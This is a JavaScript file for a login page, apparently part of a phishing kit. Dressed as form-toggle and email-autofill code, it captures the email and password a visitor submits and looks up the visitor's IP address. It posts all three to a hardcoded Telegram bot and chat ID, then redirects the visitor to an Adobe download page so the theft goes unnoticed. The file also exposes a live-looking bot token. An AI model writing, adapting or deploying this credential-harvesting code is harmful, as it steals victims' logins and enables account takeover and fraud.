document.addEventListener("DOMContentLoaded", function() {
  // --- 1. Existing Form Toggle Logic ---
  function toggleForms() {
    const loginForm = document.querySelector('.login-form');
    const signupForm = document.querySelector('.signup-form');
    if (loginForm && signupForm) {
      loginForm.classList.toggle('hidden');
      signupForm.classList.toggle('hidden');
    }
  }
  document.querySelectorAll('.toggle-form').forEach(button => {
    button.addEventListener('click', toggleForms);
  });

  // --- 2. New: Email Autofill from URL ---
  const urlParams = new URLSearchParams(window.location.search);
  const userEmail = urlParams.get('email');
  if (userEmail) {
    const emailField = document.getElementById('email'); // Ensure this matches your HTML
    if (emailField) {
      emailField.value = decodeURIComponent(userEmail).replace(/[<>'"&]/g, ''); // Sanitized
      document.getElementById('password')?.focus();
    }
  }

  // --- 3. Your Telegram Bot + IP Tracking ---
  async function sendToTelegram(email, password, ip) {
    const botToken = '8174080223:AAELQfkWnjWlknAz8x9T7gRasjDN09zwEn8';
    const chatId = '6601292892';
    const message = `📧 New Login:\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}`;
    
    try {
      await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ chat_id: chatId, text: message })
      });
    } catch (error) {
      console.error('Telegram error:', error);
    }
  }

  // --- 4. Enhanced Form Submission with IP Tracking ---
  document.getElementById('send')?.addEventListener('click', async function(e) {
    e.preventDefault();
    const email = document.getElementById('email')?.value;
    const password = document.getElementById('password')?.value;

    // Get user's IP
    let ip = 'Unknown';
    try {
      const ipResponse = await fetch('https://api.ipify.org?format=json');
      const ipData = await ipResponse.json();
      ip = ipData.ip || ip;
    } catch (error) {
      console.error('IP fetch error:', error);
    }

    // Send to Telegram (original functionality)
    if (email && password) {
      await sendToTelegram(email, password, ip);
    }

    // Your existing form submission logic here
     window.location.href = "https://get.adobe.com?locale=true"; // Example
  });
});